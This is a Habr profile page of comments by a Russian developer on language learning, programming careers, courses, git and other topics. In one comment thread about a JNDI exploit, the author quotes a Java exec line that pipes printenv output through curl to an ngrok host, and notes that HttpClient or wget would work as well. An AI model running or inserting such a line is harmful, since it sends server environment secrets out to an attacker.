Pull to refresh
102
0.2
Роман Смирнов@Source

Head of Elixir at Ecom.tech

Send message

Главное без субтитров смотреть. Иначе всё насмарку.
Там суть в том, что вам должно быть интересно и вы должны смотреть это впервые (а не пересматривать уже известное), тогда мозг будет пытаться понять, что там говорят. А общий смысл вы и так поймёте: 60% невербалика (которая в ситкомах и всяких телешоу ещё и специально преувеличена), 30% - интонации, и только 10% сами слова. Разрешите себе вообще не понимать что говорят и постепенно начнёте понимать.

А talking вместо speaking никого не смутил?

Ага, по названию статьи можно было подумать, что тот самый пойманный на улице мальчик и станет новым дожем :)

Так голоса выборщиков не считались. Достаточно, чтобы хотя бы 1 из 41 выбрал кандидата, у которого есть поддержка большинства. А остальных можно на стадии собеседования (25 вопросов) завалить.

Т.е. несмотря на весь рандом, более-менее реальные шансы на победу были скорее всего у 2-3 кандидатов.

Бекенд/фронтенд - это ветви веб-программирования. Разработка компиляторов - это совсем другая отрасль.

Ваши попытки доказать актуальность фразы "Самое забавное, что половина возможностей бы пропала, если бы на сервере не было curl :)" выглядят всё нелепее и нелепее. Ну, сморозили фигню, с кем не бывает. Ну, не признаёте очевидного, ok - слив засчитан.

Эм, про CI/CD - это вообще лирическое вступление было. Там у вас и так полный доступ и возможностей получить ваши собственные ключи выше крыши без всяких curl. Как минимум, ещё 5 вариантов (без http-вызовов) в коментах набросали.

Смотрите, вы уцепились за строку

Runtime.getRuntime().exec("printenv | tr '\\n' '&' | curl --header \"content-type: text/plain\" https://aec6-136-28-7-90.ngrok.io -d @-");

И сделали вывод, что она работает благодаря наличию curl на целевой машине. Но это в корне неверный вывод. Смотрите на суть: это произвольный код на Java. И ему необязательно опираться на системные команды, в саму Java встроен HttpClient, просто используйте его вместо curl и всех делов.

P.S. А если вы решили собирать свой JDK из исходников, то лучше уж JNDI выпилите оттуда. А то HttpClient вполне может пригодиться, ну там OneSignal какой-нибудь заюзать или мониторинг ошибок и т.д.

Ну суть в том, что средства для выполнения http-запросов есть в 100% случаев, даже если не установлены ни curl, ни wget. Поэтому их наличие или присутствие ни на что не влияет. Разве что минут на 15 задержит злоумышленника)

Да не, curl - это один из вариантов...
Нет curl - есть wget, нет wget - есть HttpClient из stdlib.

Хм, я как-то даже не подумал о такой взаимосвязи… интересная гипотеза)

С одной стороны, разработчики таких ОС вызывают восхищение. Это огромный объём кропотливой работы. Но практический смысл от меня ускользает, как это было с MenuetOS и KolibriOS, так и с этой. Там хотя бы был прикол уместить OS на дискету, но прикол затянулся и пережил дискеты xD

я однажды был джуном в компании где была идеология форспушей в ветки без особой на то необходимости

Хм, странно, что в такой конторе вам не выдали хотя бы какой-нибудь алиас c --force-with-lease по умолчанию.

Да курсы и раньше были. Например, https://intuit.ru/ был и 15 лет назад. Просто никто не воспринимал их как что-то достаточное для получения работы. А лет 7 назад началась какая-то маркетинговая вакханалия на эту тему. Если адекватно воспринимать курсы, как один из инструментов получения знаний, то это ok. Но верить, что курсы сделают из вас специалиста - это неадекватно.

Ведь из-за огромной вариативности можно, пардон, всрать уйму времени и сил на не самые эффективные подходы и пути.

Это необходимо, чтобы научиться. Нет волшебной тропинки, по которой можно пройти так, что вам пригодится всё изученное. Но зато вы определитесь с тем, что вам нравится, а что нет, что работает хорошо, а что не очень, а заодно и технический кругозор расширите.

Сейчас это не так часто встречается. Но раньше бывали целые проекты, где логика писалась на SQL: хранимые процедуры, диалекты PL/SQL, Transact-SQL, pgSQL и т.д.

Т.е. вы зря иронизируете, SQL-программисты вполне себе существуют.

Вот-вот, видимо, автор статьи вообще не в курсе как обстояли дела раньше.
Я начал изучать программирование в 2004 году, а на первую работу устроился спустя 2.5 года, за это время изучив Delphi, C/C++, C#, PHP, JS, HTML, CSS и MySQL. В добавок администрировал целый форум, посвященный программированию.
И правда в том, что 15 лет назад на джуна смотрели, как на говно, если он не знал хотя бы 3 языка программирования, и да желательно на таком уровне, чтобы мог хоть на бумажке без каких-либо IDE что-то написать. Текущим желающим войти в IT с их 3-х месячными курсами уровень тогдашних джунов покажется чуть ли не сеньорским. Но нет.

Да и прям золотых гор не было на старте, первая з/п была 8 т.р. за полставки. На текущие деньги это около 24 т.р. С одной стороны - прилично, с другой - про 2.5 года самообучения не стоит забывать.

Ну или так. На данных по отдельным регионам это отображается в виде уровней, о которые кол-во случаев бьётся несколько дней подряд с небольшими колебаниями. Потом, возможно, вводят новое оборудование и цифры снова ползут вверх.

Я полагаю, что должна быть корреляция с уровнем необходимой квалификации. Но как именно её измерить хз.
Предполагается, что капитализм сам должен рыночными механизмами это урегулировать. Ну, типа, если ты можешь справиться с работой, за которую платят 50 т.р., то ты не будешь работать за 20 т.р. на другой работе. Но местами эта схема работает неидеально.

Но по факту, человеку может быть лень искать/выполнять работу на пределе своей квалификации или он может себя оценивать ниже рынка.

Information

Rating
2,993-rd
Location
Россия
Works in
Registered
Activity